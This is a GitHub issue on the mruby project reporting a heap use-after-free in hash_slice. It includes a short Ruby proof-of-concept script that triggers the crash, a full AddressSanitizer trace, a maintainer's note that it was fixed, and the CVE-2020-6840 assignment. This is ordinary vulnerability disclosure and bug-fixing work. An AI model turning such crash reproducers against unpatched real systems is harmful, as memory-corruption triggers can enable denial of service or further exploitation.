

New issue

Jump to bottom

heap use after free in hash_slice in mrbgems/mruby-hash-ext/src/hash-ext.c:61 #4927

Closed

sleicasper opened this issue on Jan 10, 2020 · 3 comments

sleicasper commented on Jan 10, 2020

build mruby in ubuntu18.04 64 bit with ASAN

poc:

```
a=0
b="asdfasdfasdf adaf asdf asdfa sdf asdfasdfasdfa sdf"
c={1=>1, 2=>"foo", "foo"=>nil, nil=> nil}
d=[1,nil," sdfg"]
srand(1337)
a = d.instance_eval{|| }
a =
c.slice(c,c,a,c,c,d,c,c,a,c,b,a,c,c,a,d,d,b,a,a,c,d,b,a,d,a,a,d,c,c,a,d,a,b,d,b,c,c,a,c,c,c,b,c,a,d,b,d,c,b,d,a,b,a,a,d,b,a,a,d,c,b,b,c
{|| }
```

result:

```
==47556==ERROR: AddressSanitizer: heap-use-after-free on address 0x61d00000af0 at pc 0x0000004a8122 bp 0x7ffeb5a96a50 sp 0x7ffeb5a96200
READ of size 16 at 0x61d00000af0 thread T0
#0 0x4a8121 in __asan_memcpy /home/casper/fuzz/fuzzdeps/llvm-9.0.0.src/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:22
#1 0x7be22c in hash_slice /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-hash-ext/src/hash-ext.c:61:21
#2 0x59356f in mrb_vm_exec /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:1444:18
#3 0x583324 in mrb_vm_run /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:947:12
#4 0x5da14f in mrb_top_run /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:2850:12
#5 0x6a450d in mrb_load_exec /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-compiler/core/parse.y:6438:7
#6 0x6a521d in mrb_load_file_cxt /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-compiler/core/parse.y:6447:10
#7 0x4f24ff in main /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:327:11
#8 0x7f3a5825b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#9 0x41c479 in _start (/home/casper/targets/gramma/mruby/dbg/fuzzrun/mruby+0x41c479)
```

```
0x61d00000af0 is located 112 bytes inside of 2048-byte region [0x61d00000a80,0x61d000001280)
freed by thread T0 here:
```

```
#0 0x4a9388 in realloc /home/casper/fuzz/fuzzdeps/llvm-9.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:164
#1 0x543a35 in mrb_default_allocf /home/casper/targets/gramma/mruby/dbg/BUILD/src/state.c:56:12
#2 0x4f56ab in mrb_realloc_simple /home/casper/targets/gramma/mruby/dbg/BUILD/src/gc.c:209:8
#3 0x4f5dae in mrb_realloc /home/casper/targets/gramma/mruby/dbg/BUILD/src/gc.c:223:8
#4 0x575629 in stack_extend_alloc /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:203:27
#5 0x575158 in mrb_stack_extend /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:224:5
#6 0x578f5f in mrb_funcall_with_block /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:500:5
#7 0x576ce5 in mrb_funcall_argv /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:539:10
#8 0x576786 in mrb_funcall /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:400:10
#9 0x65d032 in mrb_eq1 /home/casper/targets/gramma/mruby/dbg/BUILD/src/object.c:639:10
#10 0x670138 in ht_hash_equal /home/casper/targets/gramma/mruby/dbg/BUILD/src/hash.c:126:22
#11 0x660f09 in ht_get /home/casper/targets/gramma/mruby/dbg/BUILD/src/hash.c:458:11
#12 0x6629c5 in mrb_hash_fetch /home/casper/targets/gramma/mruby/dbg/BUILD/src/hash.c:728:7
#13 0x7be48e in hash_slice /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-hash-ext/src/hash-ext.c:64:11
#14 0x59356f in mrb_vm_exec /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:1444:18
#15 0x583324 in mrb_vm_run /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:947:12
#16 0x5da14f in mrb_top_run /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:2850:12
#17 0x6a450d in mrb_load_exec /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-compiler/core/parse.y:6438:7
#18 0x6a521d in mrb_load_file_cxt /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-compiler/core/parse.y:6447:10
#19 0x4f24ff in main /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:327:11
#20 0x7f3a5825b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
```

```
previously allocated by thread T0 here:
```

```
#0 0x4a9388 in realloc /home/casper/fuzz/fuzzdeps/llvm-9.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:164
#1 0x543a35 in mrb_default_allocf /home/casper/targets/gramma/mruby/dbg/BUILD/src/state.c:56:12
#2 0x4f56ab in mrb_realloc_simple /home/casper/targets/gramma/mruby/dbg/BUILD/src/gc.c:209:8
#3 0x4f5dae in mrb_realloc /home/casper/targets/gramma/mruby/dbg/BUILD/src/gc.c:223:8
#4 0x4f6563 in mrb_malloc /home/casper/targets/gramma/mruby/dbg/BUILD/src/gc.c:245:10
#5 0x4f6608 in mrb_calloc /home/casper/targets/gramma/mruby/dbg/BUILD/src/gc.c:263:9
#6 0x57a507 in stack_init /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:131:28
#7 0x577be9 in mrb_funcall_with_block /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:461:7
#8 0x5774fc in mrb_funcall_with_block /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:439:13
#9 0x576ce5 in mrb_funcall_argv /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:539:10
#10 0x63e56b in mrb_obj_new /home/casper/targets/gramma/mruby/dbg/BUILD/src/class.c:1553:5
#11 0x5e4894 in mrb_exc_new_str /home/casper/targets/gramma/mruby/dbg/BUILD/src/error.c:31:10
#12 0x5f00df in mrb_init_exception /home/casper/targets/gramma/mruby/dbg/BUILD/src/error.c:574:20
#13 0x6c4c94 in mrb_init_core /home/casper/targets/gramma/mruby/dbg/BUILD/src/init.c:42:3
#14 0x5439cb in mrb_open_core /home/casper/targets/gramma/mruby/dbg/BUILD/src/state.c:43:3
#15 0x543a9c in mrb_open_allocf /home/casper/targets/gramma/mruby/dbg/BUILD/src/state.c:71:20
#16 0x543a6a in mrb_open /home/casper/targets/gramma/mruby/dbg/BUILD/src/state.c:63:20
#17 0x4f0cea in main /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:253:20
#18 0x7f3a5825b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
```

```
SUMMARY: AddressSanitizer: heap-use-after-free /home/casper/fuzz/fuzzdeps/llvm-9.0.0.src/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.c:22 in __asan_memcpy
Shadow bytes around the buggy address:
```

```
0x0c3a7fff8100: fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fff8110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fff8120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fff8130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c3a7fff8150: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3a7fff8160: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3a7fff8170: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3a7fff8180: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3a7fff8190: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3a7fff81a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
```

Shadow byte legend (one shadow byte represents 8 application bytes):

```
Addressable:      00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone:   f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie:     ac
Intra object redzone: bb
ASan internal:    fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap:       cc
==47556==ABORTING
```

matz commented on Jan 10, 2020

Member

Fixed along with [#4926](#)



matz closed this as completed on Jan 10, 2020

carnil commented on Jan 11, 2020

[CVE-2020-6840](#) was assigned for this issue.

carnil commented on Jan 27, 2020

This issue seem to have been introduced with the refactoring at [694089f](#) ?

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants

